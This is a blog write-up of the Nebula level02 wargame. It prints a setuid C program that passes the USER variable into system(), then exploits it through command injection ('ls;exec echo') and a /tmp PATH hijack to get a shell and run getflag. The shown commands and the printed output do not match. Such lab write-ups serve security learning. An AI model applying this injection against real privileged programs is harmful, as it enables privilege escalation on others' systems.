Nebula – Level02

Just after finishing level01 i started level02


int main(int argc, char **argv, char **envp)
{
char *buffer;

gid_t gid;
uid_t uid;

gid = getegid();
uid = geteuid();

setresgid(gid, gid, gid);
setresuid(uid, uid, uid);

buffer = NULL;

asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);

system(buffer);
}

In this level the program will read the content from the Environmental Variable and will pass as an argument to /bin/echo.
So here we have an issue by giving /bin/bash or /bin/sh it will only get displayed and we cannot make a symlink with /bin/echo as it is already existing. So we will assign env USER with /bin/bash;exec\ echo . In the previous level, we had set a echo symlink with a /bin/bash. So all we need to set is to add /tmp to the $PATH and then execute the flag02 file.


level02$ PATH=/tmp:$PATH
level02$ USER=ls\;exec\ echo
level02$ ./flag02
about to call system ("/bin/echo /bin/bash;exec echo is cool")
/bin/bash
flag02$ getflag
You have successfully executed getflag on targeted account

flag

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s